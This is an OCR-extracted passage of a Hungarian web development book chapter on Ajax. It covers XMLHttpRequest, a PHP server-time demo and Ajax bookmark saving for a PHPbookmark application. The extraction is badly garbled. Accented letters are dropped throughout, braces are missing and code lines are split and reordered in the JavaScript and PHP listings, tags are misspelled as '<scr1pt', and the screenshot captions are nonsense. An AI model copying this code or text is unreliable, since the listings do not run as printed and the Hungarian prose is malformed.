ltre s hasznlhatjuk az XMLHTTPRequest objektum egy pldnyt, m ha szeretnnk a tmval bvebben foglalkozni, lto
gassunk el a http:/ /www.w3.org/TR/XMLHttpRequest/ oldalra!
Az XMLHTTPRequest objektum tbb attribtummal rendelkezik, a 34.1 tblzatban olvashatjuk ezeket.

Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

34.1 tblzat: Az

603

XMLHTTPRequest objektum attribtumai

Attribtu m

Lers

onreadystatechange

A readyState tulajdonsg megvltozsa esetn meghvand fggvnyt hatrozza meg.

readyState

A lekrs llapota, amelyet egsz szmok jelkpeznek: O (nem inicializlt), l (tltdik), 2 (be
tltdtt), 3 (interaktv) s 4 (befejezett).

re sponseText

Karakterlncknt tartalmazza a vlasz ltal visszaadott adatot.

responseXml

XML formtum dokumentumobjektumknt tartalmazza a vlasz ltal visszaadott adatot.

status

A kiszolgl ltal visszakldtt HTTP llapotkd, pldul 200.

statusText

A kiszolgl ltal visszakldtt szveges HTTP llapot, pldul OK.

Az XMLHTTPRequest objektumnak klnbz metdusai is vannak, a 34.2 tblzat ezeket mutatja be.
34.2 tblzat: Az XMLHTTPRequest

objektum metdusai

Metdus

Lers

abort()

Lellrja a krst.

getAllResponseHeaders()

Karakterlncknt adja vissza a vlaszban lv sszes fejlcet.

getResponseHeader(header)

Karakterlncknt adja vissza a header fejlc rtkt.

open('method',

'URL',

Paramcerei a HTTP mdszert (pldul POST vagy GET), a cl URL-t, illetve azt

'a')

hatrozzk meg, hogy a krs aszinkron legyen-e (az a igaz) vagy sem (az

a hamis).

Elkldi a krst, opcionlisan POST tartalommal.

send(content)
setRequestHeader('x',

Paramter

'y')

(x) s rtk (y) prt llt be, s fejlcknt elkldi a krssel egytt.

Az XMLHTTPRequest osztly hasznlathoz elszr is ltte kell hozni egy pldnyt. Ehhez nem elg csupn a kvetkez
kdsort begpelni:
var keres = new XMLHTTPRequest();

Ez ugyan az Internet Explorertl klnbz bngszkn minden tovbbi nlkl mkdne, m jellernzen rnindenki sz
mra elrhet kdot kvnunk rni. Az XMLHTTPRequest objektum rninden bngszben mkd, j pldnynak ltreho
zshoz az albbi JavaScript kdot kell hasznlni:
function getXMLHTTPRequest()
var keres
try

= false;

/* Firefaxhoz */
keres

= new XMLHttpRequest();

catch (hiba)
try

34

/* egyes IE verzikhoz */
keres

= new ActiveXObject("Msxml2.XMLHTTP");

catch (hiba)
try

/* ms IE verzikhoz */
keres

= new ActiveXObject("Microsoft.XMLHTTP");

catch (hiba)
keres

return keres;

= false;

\.

604

34.fezet

Ha ezt a JavaScript kdrszletet berjuk egy ajax_ fuggvenyek.js nev fjlba, majd az llomnyt elhelyezzk kiszolg
lnkon, mris lerakruk Ajax fggvnyknyvtrunk alapjait.
Ha az XMLHTTPRequest objekrum j pldnyt kivnjuk ltrehozni Ajax alkalmazsunkban, beillesztjk a fggvnyein
ket tartalmaz fjlt:
<scr1pt src="aJaX

fuggvenyek.js" type="text/javascript"></scr1pt>

Ezt kveten meghvjuk az j objektumot, s folytathatjuk a kdrst:


<script type="text/javascript">
var sajatKeres = getXMLHTTPRequest();
</script>

A kvetkez rszben jabb puzzle darabot adunk hozz Ajax fggvnyfjl unkhoz.

Kommunikci

szerverrel

Az elz rszben ltott pldakddal mindssze egy j XMLHTTPRequest objekrum ltrehozst hajtorruk vgre, tny
leges kommunikcis feladatra mg nem kerlt sor.A kvetkez pldban ltrehozzuk a kiszolglnak, egszen pomosan
a szerverido.php nev PHP kdnak krst kld JavaScript fggvnyt.
function getSzerverido
var azOldal =

()

'szerverido.php';

velSzam = parselnt(Math.random()*999999999999999);
var azURL = azOldal

+"?rand="+velSzam;

sajatKeres.open("GET",

azURL,

sajatKeres.onreadystatechange

true);
=

aHTTPValasz;

sajatKeres.send(null);

A fggvnyben a kd els sora ltreh02:za azazOldal nev vltozt, s egyttal a szerverido.php rtkt rendeli
hozz. Ez a neve a kiszolgln tallhat PHP kdnak.
A kvetkez sor els rnzsre teljesen feleslegesnek tnhet, hiszen egy vletlen szmot llt el. Jogos a krds: Mi kze
van egy vletlen szmnak a szerverid lekrshez? A vlasz az, hogy a vleden szmra nem kzvetlenl a kd miatt van
szksg. Azrt hozzuk ltre, illetve azrt fzzk hozz a kd harmadik sorban az URL-hez, hogy elkerljk az esetleges
problmkat, amik a krs bngsz (vagy proxy) ltali gyorsttrazsbl addhatnak. Ha az URL egyszeren az lenne,
hogy http://kiszolgalonk/kodunk.php, az eredmnyek gyorsttrba kerlhetnnek. Ha viszont http://kiszolgalonk/kodunk.
php?rand=veletlenertek formban lltjuk el az URL-t, akkor nem lesz mit gyorsttrazni, hiszen minden egyes alkalommal
ms s ms URL-t kapunk, mikzben ez semmilyen hatssal nincs a mgttes kd mkdsre.
A fggvny utols hrom sora az elz rszben ltott getXMLHTTPRequest () fggvny meghvsval ltrehozott
XMLHTTPRequest

objektumpldny hrom metdust ( open, onreadystatechange s send) hasznlja.

Az open metdust meghv sorban az albbi paramtereket lthatjuk: a krs tpusa (GET) , az URL (azURL ) , illetve
a true rtk, ami jelzi, hogy aszinkron krssel llunk szemben.
Az onreadystatechange metdust hasznl sorban a fggvny az objekrum llapotnak vltozsakor egy j,

34

aHTTPValasz

nev fggvnyt fog meghvni.

A send metdust meghv sorban a fggvny NULL tartalmat kld a szerveroldali kdnak.
Most hozzuk ltre a szerverido. php nev fjlt, amely a 34.1 pldakdban lthat kdot kell, hogy tartalmazza!
34.1 pldakd: A szerverido.php tartalma
<?php
header('Content-Type:

text/xml');

echo "<?xml version=\"1.0\" ?>


<clock>
<idostring>A pontos id6 ".date('H:i:s').",
idostring>
</clock>";
?>

a mai dtum pedig ".date('Y.m.d').".</

Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

605

A kd lekri a PHP date() fggvnyvel a pillanatnyi szerveridt, m:lJd XML kdols karakterlncban visszaadja az
rtket. A date () fggvnyt valjban ktszer hvjuk meg: egyszer date( ' H : i : s ' ),egyszer pedig date( ' Y. m.d. ' ) for
mban. Az elbbi a pillanatnyi szerveridt adja vissza ra, perc s msodperc formban (24 rs idformtumot hasznlva), az
utbbi pedig a kd meghvsnak dtumt v, hnap, nap formban.
Az eredmnyszering a kvetkezkppen fog kinzni - annyi klnbsggel, hogy a szgletes zrjelben lv elemek helyn az

aktulis rtkeket ltjuk:


<?xml version="l.O" ?>
<clock>
<idostring>
A

pontos id [id],

a mai dtum pedig [dtum].

</idostring>
</clock>

A kvetkez rszben ltrehozzuk a mg htralv fggvnyt ( aHTTPValasz ()),s kezdnk valamit a kiszolgln lv
PHP kdtl kapott vlasszal.

A kiszolgl vlasznak feldolgozsa


Az elz rszben ltott, a szerverid lekrsre szolgl getSzerverldo() fggvny kszen ll, hogy meghvja az
aHTTPValas z() fggvnyt, s feldolgozza a visszakapott karakterlncot. A kvetkez pldakd rtelmezi a vlaszt, majd

ellltja a vgfelhasznl szmra megjelentend sztringet:


function aHTTPValasz ()

if (sajatKeres.readyState == 4)
if(sajatKeres.status == 200)

{
{

var idoString =
sajatKeres.responseXML.getElementsByTagName("idostring") [0];
document.getElementByld('idomegjelenitese').innerHTML
timeString.childNodes[OJ .nodeValue;
else
document.getElementByld('idomegjelenitese').innerHTML
'<img src="ajax-loader.gif"/>';

A kls if...else utasts az objektum llapott ellenrzi. Ha az llapot nem 4 (befejezett), a kd egy animcit (<img

src="ajax-betolto.gif"/>) jtszik le. Ha viszont a sajatKeres objektum readystate tulajdonsgnak rtke 4,

a kvetkez ellenrzssei azt nzzk meg, hogy a kiszolgl llapota vajon 200, azaz rendben van-e.
Ha az llapot 200, lttehozzuk az idoString nev j vltozt. Ehhez a vltozhoz a szerveroldali kd ltal kldtt XML
adat idostring elemben trolt rtket rendeljk, amit a vlasz getElementByTagname metdusval keresnk vissza:
var idoString = sajatKeres. responseXML. getElementsByTagName ("idostring") [O J;

A kvetkez lps ennek az rtknek a megjelentse a HTML fjlban, annak a CSS ltal meghatrozott tetletn. Pldnk
ban az idomegjelenitese nven definilt dokumentumelemben fogjuk kiratni ezt az rtket:
document.getElementByld('idomegjelenitese').innerHTML =
idoString.childNodes[O] .nodeValue;

Ezzel az ajax fuggvenyek.js kdunk is elkszlt; lsd a 34.2 pldakdot!


34.2 pldakd: Az ajax_fuggvenyek.js fjl

tartalma

function getXMLHTTPRequest()
var keres
try

= false;

{
/* Firefaxhoz */

keres

= new XMLHttpRequest();

catch (hiba)
try

34

606

34. fejezet

/* egyes
keres

IE verzikhoz */

= new ActiveXObject("Msxml2.XMLHTTP");

catch (hiba)
try

{
/* ms IE verzikhoz */
keres

= new ActiveXObject("Microsoft.XMLHTTP");

catch (hiba)
keres

false;

return keres;

function getSzerverido ()

var azOldal = 'szerverido.php';


velSzam = parseint(Math.random()*999999999999999);
var azURL = azOldal +"?rand="+velSzam;
sajatKeres.open("GET",

azURL,

true);

sajatKeres.onreadystatechange = aHTTPValasz;
sajatKeres.send(null);

function aHTTPValasz ()

if (sajatKeres.readyState ==

4)

if(sajatKeres.status == 200)

{
{

var idoString =
sajatKeres.responseXML. getElementsByTagName ("idostring")[O l ;
document.getElementByid('idomegjelenitese') .innerHTML
idoString.childNodes[O] .nodeValue;

else
document.getElementByid('idomegjelenitese').innerHTML
'<img src="ajax-betolto.gif"/>';

A kvetkez rszben vglegestjk a HTML-t, s az alkotelemeket sszerakva ltrehozzuk Ajax alkalmazsunkat.

34

Tegyk ssze az egszet!


Ahogy a fejezet elejn mr olvashattuk, az Ajax technolgik kombincija. Az elz rszekben JavaScript s PHP - kliensoldali
s szerveroldali programozs - segitsgvel indtorrunk HTTP krst, illetve dolgoztuk fel az erre kapott vlaszt. A technolgiai
puzzle hinyz darabja a megjelents: a felhasznl szmra lthat eredmny ellltsa XHTML s CSS hasznlatval.
A 34.3 pldakdban az ajaxSzerverido.html kdjt ltjuk; ez a fjl tartalmazza a stluslapelemeket, illetve hvja meg
a PHP kdot lefuttat, majd a kiszolgltl a vlaszt fogad JavaScript kdot.
34.3 pldakd: Az ajaxSzerverido.html tartalma
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional/lEN"
"http://www.w3.org/TR/xhtmll/DTD/xhtmll-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" dir="ltr" lang="en">
<head>
<style>
body

Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

607

background: #fff;
font-family: Verdana,
font-size:

sans-serif;

12pt;

font-weight: normal;

. displaybox
width: 300px;
height: lOOpx;
background-color:#ffffff;
border:2px solid #000000;
line-height: 2.5em;
margin-top: 25px;
font-size: 12pt;
font-weight: bold;

</style>

<script src="ajax_fuggvenyek.js" type="text/javascript"></script>


<script type="text/javascript">
var sajatKeres = getXMLHTTPRequest();
</script>

</head>

<body>

<div align="center">
<hl>Ajax bemutat</hl>
<p align="center">Ha az egeret a lenti tglalap fl mozgatja,
a tglalapban megjelenik az aktulis szerverid.<br/>
Az oldal nem frissl,

csak a tglalap tartalma vltozik.</p>

<div id="idomegjelenitese" class="displaybox"


onmouseover="javascript:getSzerverido();"></div>
</div>

</body>
</html>

A kd az XHTML deklarcival indul, amit a <html> s a <head> nyitcmke kvet. A dokumentum head rszbe,

34

<styl e>< ls ty l e> cmkk kz kerlnek a stluslapelemek. A fenti kdban csak kt stlust hattozunk meg: a body cm

kn belli sszes tartalom formtumt, illetve a displaybox osztlyt hasznl elem formtumt. A displaybox osztlyt
300 kppont szles s 50 kppont magas, fehr htter s fekete krvonal tglalapknt hatrozzuk meg. A tglalapon belli
nnden szveget 12 pontos, flkvr betvel szednk.
A stluslapelemek utn, de mg a head rszen bell kvetkezik a JavaScript fggvnyknyvtrra mutat hivatkozs:
<script src="ajax_fuggvenyek.js" type="text/javascript"></script>

Ez utn jn a sajatKeres nev j XMLHTTPRequest objektum ltrehozsa:


<script type="text/javascript">
var sajatKeres = getXMLHTTPRequest();
</script>

Ekkor lezrjuk a head elemet, s elkezddik a body. Ebben csak XHTML kdot tallunk. Egy kzpre igaztott div
elemben van az oldal fcmnek szvege (Ajax bemutat), illetve a ltogatknak sznt utastst, amely szerint az egeret a tgla
lap fl mozgatva az aktulis szerveridt tudjk megjelenteni.

'----

608

34. fejezet

Adiv elem attribtumain bell, idomegjelen i tese azonostval (id) lthatjuk a tnylegesen vgbemen mveletet,

ami jelen esetben az onmouseover esemny kezelje:


<div id="idomegjelenitese" class="displaybox"
onmouseover="javascript:getSzerverido();"></div>

Az onmouseover hasznlata azt eredmnyezi, hogy amikor a felhasznl egere az idomegjelen itese nev div ltal
meghatrozott terlet fl kerl, a kd a getSzerverido () JavaScript fggvnyt hvja meg. A fggvny meghvsa krst
intz a kiszolglhoz, a kiszolgl vlaszol, az eredmnyl add szveg pedig megjelenik ebben a div elemhen.

Megjegyzs: A javaScript fggvnyeket sokflekppen, pldul rlap klds gombjnak oneli ck esemnyvel is meghvhat
juk.
A34.1, 34.2 s 34.3 brn a mkdshe lp kd ltal kivltott esemnysort ltjuk. Az ajaxSzerverido. html oldal

egyik esethen sem tltdik jra, csak az idomegjelenitese nev d i v tartalma frissl.

Ajax bemutat
He az Wijefel: a lenti teglalap fO! mo.z98t}a, a tglalapben meo az Illetualis
S:ZI!f'lefld6.
Az oldal nem frlssGI, csak 11 tglaiiiC) wtalma v6iltozllc.

34.1 bra:

Az ajaxSzerverido. html oldal betltdsekor az utastsokat s egy res tglalapot ltunk.

Ajax bemutat
Han f!9l!t't1l a lenti tglalap fOi rncJZ911tja, a tglalapban me<,)elefWk az akbmUs
szervet1d(i.
Az oldal '*"frlS$11l, CSille a tglalao tartalma vllltozllt..

34

34.2 bra:

A felhasznl a tglalap fl mozgaija egert, ezzel elindija a krst; az ikon jelzi, hogy az objektum tltdik.

laa:-:x':' r-.o-
.[) ,_"_,----

M'4___

..,

o:-:tr,,

..

Ajax bemutat

Ha az eoeret a lenti tglalao rou rnl)l!OII. a toJalapb!tn meoJelenlk az aktu6Us

A,..<d6'8'09"'5,mj

!>l:erveridll.
Al. oldal nem frlssOI, csak 11 t9lalapl:art:alma v61tozlk.

I
34.3 bra:

dlltum pedig 2010.09.27.

A kiszolgltl kapott eredmny megjelenik az idomegj elen itese nev div terletn;
ha ismt a tglalap fl mozgaijuk egernket, jbl meghvjuk a kdot.

Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

609

Ajax elemek hozzadsa korbbi projektjeinkhez


A knyvnk V. rszben elksztett projektek egyike sem tmogatja alapbl az Ajaxot. Az sszes projekt gy pl fel, hogy
rlapokat kldnk el, arnikre vlaszknt az oldal jra betltdik. Ezek az oldalak ugyan dinamikus elemeket tartalmaznak,
azonban egyik sem a Web 2.0 korban joggal elvrt felhasznli lmnyt nyjtja.
Ha Ajax elemeket ptettnk volna ezekbe a projektekbe, akkor nem azzal foglalkoztunk volna, hogy elsajttsuk a webes
alkalmazsok PHP s MySQL hasznlatval trtn ltrehozsnak alapjair. gy is fogalmazharnnk, hogy mieltt futni
szeretnnk, meg kell tanulni stlni. Most viszont mr tudunk futni- na j, legalbbis kocogni -, gy elkezdhetnk azon gon
dolkodni, hogyan lehet ezekhez az alkalmazsokhoz Ajax elemeket hozzadni, illetve hogyan lehet az jonnan ltrehozand
alkalmazsainkat Ajax elemek bevonsval felpteni.
Az Ajax-fejlesztk ltalban a kvetkezkppen gondolkodnak: melyek a klnbz felhasznli mveletek, s milyen ol
dalesemnyeket vltanak ki ezek? Azt szeretnnk pldul, hogy a felhasznlk adott gombra kattintva elkldjk az rlapot, s
tovbbmenjenek a kvetkez lpsre, vagy az rlap valamely elemn (szvegmezn, vlasztgombon vagy jellngyzeten) az
inputfkusz megvltoztatsa aszinkron krst indtson a kiszolglhoz? Miutn eldntttk, hogy milyen tpus mveleteket
kvnunk kezelni, elkezdhetjk megrni azokat a JavaScript fggvnyeket, amelyek a kiszolglnak kldend krseket, illetve
a kiszolgltl fogadott vlaszokat kezel PHP kdokat hvjk meg.
Az elttnk ll rszekben Ajax elemeket adunk a knyv nhny korbbi fejezetben ltrehozott kdhoz.

Ajax elemek hozzadsa a PHPbookmark alkalmazshoz


A Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse cm 27. fejezetben a PHPbookmark
nev alkalmazson dolgoztunk. A knyvjelzk elmentshez, illetve ahhoz, hogy az alkalmazs a ms felhasznlk ltal
elmentett knyvjelzk kzl ajnlani tudjon az oldal ltogatinak, azoknak elszr regisztrlniuk, majd bejelentkeznik
kellett.
Mivel az alkalmazst mr ltrehozruk, s egymshoz szorosan kapcsold PHP kdokbl s fggvnyknyvtrakbl ll, els
feladarunk azt vgiggondolni, hogyan adharunk meglv fjlokhoz tovbbi elemeket- legyenek azok stluslapok,JavaScript
fggvnyek vagy a mveleteket a kiszolgli oldalon kezelni kpes PHP kdok. A vlasz egyszer: hozzunk ltre egy-egy k
ln fjlt a stlusoknak s a JavaScript fggvnyeknek! Ezt kveten adjuk hozz a 27. fejezet meglv PHP kdjaihoz a kls
fjlokat beilleszt s a JavaScript fggvnyeket meghv kdrszeket! Az esetlegesen most ltrehozand PHP kdokat is az
alkalmazs mr meglv fjljaitl kln fogjuk trolni.
Miutn elhatroztuk, hogy hogyan kezeljk az j llomnyokat, azt is el kell dntennk, hogy milyen felhasznli funkci
kat kezelhetnk Ajaxszal. Noha az alkalmazsnak a felhasznli regisztrcit s a bejelentkezst megvalst rszeinl tnik az
Ajax tmogats bevezetse a legkzenfekvbbnek, helytakarkossgi okokbl vlasztsunk a knyvjelzk hozzadsval s az
eltrolt knyvjelzk szerkesztsvel kapcsolatos felhasznli funkcikra esett.
Meglv alkalmazsfjlokat is mdostani fogunk. ppen ezrt clszer mostani munknkhoz j knyvtrba tmsolni a 27.
fejezet fjljait; minden vltoztatst ebben az j knyvtrban hajtunk vgre, nem pedig a PHPbookmark alkalmazs mr mk
d vltozatban.

Megjegyzs: Ha mgis a regisztrci t alaktannk t gy, hogy tmogassa az Ajax mkdst, akkor egy JavaScript fggvny
meghvsval olyan PHP kdot futtathatnnk, amely ellenrzi, hogy a felhasznl e-mail cme s felhasznli neve nem tallha
t-e mr meg a rendszerben. Ha megtallhat, akkor a fggvny hibazenetet jelenthet meg, s a hibs adatok kijavtsig nem
engedlyezi a regisztrcis rlap elkldst.

jabb fjlok ltrehozsa


Ahogy mr jeleztk, j fjlokkal egsztjk ki az alkalmazs meglv szerkezett. Igaz ugyan, hogy ezeket a fjlokat a kvetkez
oldalakon egyenknt ttekintjk majd, mgis rdemes az egsz feladatot tgondolni, mieltt nekiltunk a munknak.
Felttelezhetjk, hogy minimum kt j fjlt ltrehozunk majd: egy stluslapot s a JavaScript fggvnyek knyvtrt. Hoz
zuk ltre ezeket most azonnal: a nevk legyen uj_ss. ess s uj_ aj ax. js! Az j stluslap (uj_ss. ess) egyelre res
lesz, mert mg nem definilrunk j stlusokat, de az uj_ a j a x . js fjlnak tartalmaznia kell a fejezet korbbi rszben rt- az
sszes bngszben az XMLHTTPRequest objektum j pldnyt ltrehozni kpes- getXMLHTTPRequest ( ) fggvnyt.
A ksbbiekben ugyan kiegsztjk mg ezeket a fjlokat, de akr mr most is feltlthetjk ket webszervernkre.
A kvetkez lps az, hogy ezekre a fjlokra mutat hivatkozst szrunk be a PHPboomark alkalmazs egyik meglv
megjelent fggvnybe. Ez garantlja, hogy a stluslap stlusai, illetve a JavaScript fggvny mindig elrhet lesz. A 27. feje-

34

610

34.fezer

zetbl emlkezhernk r, hogy a HTML fejlcnek kimenert elllr fggvny neve html_fej lec_letrehozasa (},s
a kimeneti_fuggvenyek.php fjlban tallhat.
A fijlnak az j vltozatt a 34.4 pldakdban ralljuk.
34.4 pldakd: A html_fejlec_ letrehozasa(} fggvny kiegsztett, az j stluslapra s a JavaScriptfggvnyknyvtrra
mutat vltozata
function html fejlec_letrehozasa($oldalcim}
ll HTML fejlc megjelenitse
?>
<html>
<head>
<title><?php echo $oldalcim;?><ltitle>
<sty le>
body
li,

{ font-family: Arial,
td

{ color:

hr

{ color:

Helvetica,

{ font-family: Arial,

13px;

sans-serif; font-size:

13px;

f3333cc;
tOOOOOO;

sans-serif; font-size:

Helvetica,

<lstyle>

<link rel="stylesheet" type="textlcss" href="uj ss.css"l>


<script src="uj_ajax.js" type="textljavascript"><lscript>

<lhead>
<body>
<img src="konyvjelzo.gif" alt="PHPbookmark logo" border="O"
align="left" valign="bottom" height="SS" width="57" l>
<hl>PHPbookmark<lhl>
<hr l>
<?php
if($oldalcim}
do_html_heading($oldalcim};

Ha feleltttk mr az j srluslapor, a JavaScript fggvnyknyvrrat s a kimeneti_fuggvenyek.php fjlt, s megnyi


runk a PHPbookmark alkalmazsban egy j oldalt, az j fjloknak hiba nlkl be kell illeszrdnik. A kvetkezkben tovbbi
stlusokat s kdokar adunk ezekhez a fjlokhoz, hogy Ajax funkcikar valsrhassunk meg velk.

34

Knyvjelz'k hozzadsa Ajax-mdra


Jelen pillanarban a knyvjelzk hozzadsa akkor valsul meg,amikor a felhasznl megadja a knyvjelz URL-jt, s rkattint
az rlap klds gombjra. A klds gombra kattints egy msik PHP kdot hv meg, amely hozzadja az rlapot az adatb
zishoz,visszaadja a felhasznl knyvjelzinek listjt, s jelzi ezzel, hogy az j knyvjelz hozzaddott. Ms szavakkal: jra
berlti a szksges oldalakat.
Az Ajax mdszervel megjelentjk a knyvjelz hozzadsra szolgl rlapot, m a tovbbi oldalletltseker kivlt kl
ds gombra kattints helyettJavaScript fggvnyt hvunk meg a httrben, ami a knyvjelzr az adarbzishoz hozzad s
a felhasznlnak a vlaszt visszaad PHP kdot hvja meg. Mindezr anlkl, hogy elhagyn a mr berlttt oldalt. Az ilyen
mkdshez elszr is a kimeneti_ fuggvenyek. php fjl kj_hozzaad_ urlap_ megjeleni t ese(} fggvnyr kell
mdosrani.
A 34.5 pldakd a mr kiegsztett fggvnyt murarja. Eltvolrottuk az rlap mvelerr, hozzadtuk a beviteli mezhz egy
id (azonost) rtkr, s megvltoztattuk a gomb attribtumait. Ezen kvl a fggvnyen bellrl a getXMLHTTPRequest (J

JavaScript fggvnyt is meghvtuk.

Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

611

34.5 pldakd: A kj_ hozzaact_urlap_megjelenitese(} fggvny kiegsztett vltozata


function kj_hozzaad_urlap_megjelenitese()

ll j knyvjelz hozzadsra szolgl rlap megjelenitse


?>
<script type="text/javascript">
var sajatKeres = getXMLHTTPRequest{);
</script>
<form>
<table width="250" cellpadding="2" cellspacing="O" bgcolor="lcccccc">
<tr><td>j knyvjelz:</td>
<td><input type="text" name="uj_url" name="uj_url" value="http://"
size="30" maxlength="255"/></td></tr>
<tr><td colspan="2" align="center">
<input type="button" value="Knyvjelz hozzadsa"
onClick=" javascript:ujKonyvjelzoHozzaadasa();"/></td></tr>
</table>
</form>
<?php

Vizsgljuk meg kzelebbrl az rlap gombjt:


<input type="button" value="Knyvjelz hozzadsa"
onClick=" javascript: ujKonyvjelzoHozzaadasa(} ;"l>

Amikor a felhasznl erre a gombra kattint, az onCiick esemnykezel az ujKonyvjelzoHozzaadasa() JavaScript


fggvnyt hvja meg. A fggvny krst intz a kiszolglhoz, egsz pontosan ahhoz a PHP kdhoz, amely megprblja beil
leszteni a rekordot az adatbzisba. Ennek a fggvnynek a kdjt a 34.6 pldakdban olvashatjuk.
34.6 pldakd: Az ujKonyvj elzoHozzaadasa (} JavaScript fggvny
function ujKonyvjelzoHozzaadasa ()

var url = "kj_hozzaadasa.php";


var parameterek = "uj url=" + encodeURI(document.getElementByid('uj_url').value);
sajatKeres.open("POST",

url,

true);

sajatKeres.setRequestHeader("Content-type",

"application/x-www-form-urlencoded");

sajatKeres.setRequestHeader("Content-length",
sajatKeres.setRequestHeader("Connection",

parameterek.length);

"close");

sajatKeres.onreadystatechange = hozzaadKJValasz;

34

sajatKeres.send(parameterek);

Ez a fggvny a fejezet korbbi rszben hasznlt getSzerverido() fggvnyhez hasonlan nz ki. A benne vgbemen
folyamat is igen hasonl: vltozk ltrehozsa, adatok elkldse a PHP kdnak, maJd a kiszolgltl kapott vlaszt kezel
fggvny meghvsa. A kvetkez sor egy nv/ rtk prt hoz ltre az rlapmez nevbl s a felhasznl ltal bert rtkbl:
var parameterek = "uj_url="

encodeURI(document.getElementByid('uj_url').value);

A parameterek rtkt a fggvny utols sorban kldjk vissza a mgttes PHP kdnak:
sajatKeres.send(parameterek);

Az rtkek eltt hrom krsfejlcet is elkldnk, hogy a kiszolgl tudja, miknt kezelj e a POST krsben kldtt adatokat:
sajatKeres.setRequestHeader("Content-type",

"application/x-www-form-urlencoded");

sajatKeres.setRequestHeader("Content-length",
sajatKeres.setRequestHeader("Connection",

parameterek.length);

"close");

A folyamat kvetkez lpse a kiszolgl vlaszt kezel JavaScript fggvny ltrehozsa; kdunkban a hozzaadKJValasz
nevet adtuk ennek a fggvnynek:
sajatKeres.onreadystatechange = hozzaadKJValasz;

612

34. fejezet

Ez a kd is hasonlt a fejezet korbbi rszben ltrehozott aHTTPValasz fggvnyhez. A hozzaadKJValasz fggvny


kdjt a 34.7 pldakd tartalmazza.
34.7 pldakd: A hozzaadKJValasz() JavaScriptfggvny
function hozzaadKJValasz ()
if

(sajatKeres.readyState

{
==

4)

if(sajatKeres.status == 200)

{
{

eredmeny = sajatKeres.responseText;
document.getElementByid('eredmenymegjelenitese') .innerHTML
else

eredmeny;

alert('Hiba trtnt a krs teljestse kzben.');

A fenti JavaScript fggvny elszr is ellenrzi az objektum llapott; ha befejezte feladatt, ellenrzi, hogy a kiszolgltl
kapott vlaszkd vajon 200, azaz ok-e. Ha nem 20 O, a.,Hiba trtnt a krs teljestse kzben:' figyelmeztetst jelenti meg.
Ha brmilyen ms vlasz jn a kj_hozzaactasa.php kd vgreh:ytsbl, az megjelenik egy eredmenymegjelenitese
id rtk div cmkben. Az eredmenymegjelenitese id jelen pillanatban fehr httrknt definilt az uj_ss. ess

stluslapban:
#eredmenymegjelenitese
background:

#fff;

A kj_hozzaad_urlap_megjelenitese ( ) PHP fggvnyhez-annak zr form cmkje utn- az albbi kdsort


adtuk hozz; ez az a div, amelyben a kiszolgltl kapott eredmnyt megjelentjk a felhasznlnak:
<div id="eredmenymegjelenitese"></div>

Most pedig az kvetkezik, hogy mdostjuk a meglv kj_hozzaadasa.php kdot.

Tovbbi mdostsok a meglv kdban


Amennyiben a kj_hozzaadasa.php kd mindennem mdostsa nlkl prblnnk meg felvenni egy j knyvjelzt,
a felhasznli jogosultsgok s a knyvjelz hozzadsnak folyamata prmn mkdne. Ennek ellenre a 34.4 brn lthat
hoz hasonlan zavaros eredmnyt kapnnk: a log, a fejlc s a lblcben lv hivatkozsok dupln jelennnek meg.

.--:r_ .-- --- . 1:!


--

A,

34

PHPbookmark

Krly'ljftzk houadba

F"'"J

PHPbookmark

Konyv}elz6k hoz.Uadiu

IWS:::
:'"
-

o
o

34.4 bra: Knyvjelz hozzadsa a kj_hozzaadasa. php kd mdostsa eltt.


Emlkezznk vissza, hogy a PHPbookmark alkalmazs nem aJaxos vltozatban kln oldalon jelenik meg az rlap s az
rlap elkldsnek eredmnye, illetve minden alkalommal az sszes oldalelem betltdik. Az Ajaxot tmogat krnyezetben
azonban azt szeretnnk, hogy ha felvesznk egy j knyvjelzt, akkor anlkl kapjuk vissza a kiszolgltl az eredmnyeket, s

Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

613

folytathassuk a knyvjelzk hozzadst, hogy brmely oldalelemet jra be kellene tlteni. Ez az j fajta mkdsi md vltoz
tatsokat ignyel a kj_ hoz zaadasa. php kdban, amelynek eredeti vltozatt a 34.8 pldakdban lthatjuk.
34.8 pldakd: Az eredeti kj_hozzaadasa.php kd
<?php
require_once('konyvjelzo_fuggvenyek.php');
session_start();

ll rvid vltoznv ltrehozsa


$uj_url = $_POST['uj_url'];

html fejlee letrehozasa('Konyvjelzk hozzadsa');

try

ervenyes_felhasznalo_ellenorzese();

(! kitoltott($_POST)) {

if

throw new Exception('Az rlap nincs teljesen kitltve. ');


ll URL formtumnak ellenrzse
if (strstr($uj_url,

'http:ll') === false)

$uj url = 'http:ll'.$uj_url;

ll URL rvnyessgnek ellenrzse


if

(! (@fopen($uj url,

'r')))

throw new Exception('rvnytelen URL.');

ll megprblja hozzadni az j knyvjelzt


kj_hozzaadasa($uj_url);
echo 'Knyvjelz hozzadva.';

ll a felhasznl ltal elmentett knyvjelzk lekrse


if ($url_tomb

felhasznaloi_url_lekerdezese($ SESSION['ervenyes felhasznalo']))

felhasznaloi_url_megjelenitese($url tomb);

catch (Exception $e)

34

echo $e->getMessage();

felhasznaloi_menu_megjelenitese();
html_lablec letrehozasa();
?>

A kd els sora belesti a konyvjelzo fuggvenyek.php fjl sszes elemr. Ha megnzzk a konyvjelzo_
_

fuggvenyek. php tartalmr, lthatjuk, hogy a fjl tovbbi fjlok sorozatt hvja meg:
<?php
ll Ezt a fjlt az sszes fjlba beilleszthetjk,
ll gy mindegyik tartalmazni fogja fggvnyeinket s kivteleinket
require_once('adat_ellenorzo_fuggvenyek.php');
require_once('adatbazis_fuggvenyek.php');
require_once('felhasznaloi_hitelesites_fuggvenyek.php');
require_once('kimeneti_fuggvenyek.php');
require once('url fuggvenyek.php');
?>

614

34.fezer

Ugyan az alkalmazs Ajaxor rmogar verzijnak knyvjelzk hozzadsra szolgl rszben nem biztos, hogy a fenti ele
mek mindegyikre szksgnk lesz, az elejn lv megjegyzs mindenr megmagyarz: mindegyik (fjl} tartalmazni
fogja fggvnyeinket s kivteleinket. ilyen helyzetben, amikor dinamikus oldalak sorozarrl prblunk tllni
